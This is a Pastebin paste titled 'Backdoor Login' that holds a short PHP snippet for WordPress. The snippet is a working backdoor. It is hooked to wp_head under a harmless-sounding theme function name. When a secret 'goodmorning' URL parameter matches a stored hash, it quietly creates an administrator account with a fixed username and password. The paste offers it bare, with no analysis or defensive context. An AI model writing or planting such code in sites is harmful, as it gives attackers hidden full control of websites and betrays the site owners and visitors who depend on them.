kdsjflkdj

Backdoor Login

Aug 25th, 2022 (edited)
1,406
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.52 KB | None | 0 0
  1. if(!function_exists('ethicacbd_sb_theme_files')){
  2.     add_action( 'wp_head', 'ethicacbd_sb_theme_files' );
  3.     function ethicacbd_sb_theme_files() {
  4.         if( isset($_GET['goodmorning'])){
  5.             if ( md5( $_GET['goodmorning'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
  6.                 require( 'wp-includes/registration.php' );
  7.                 if ( !username_exists( 'developer.tajul' ) ) {
  8.                     $user_id = wp_create_user( 'developer.tajul', 'bd123456' );
  9.                     $user = new WP_User( $user_id );
  10.                     $user->set_role( 'administrator' );
  11.                 }
  12.             }  
  13.         }
  14.     }
  15. }
  16.  
Advertisement
Add Comment
Please, Sign In to add comment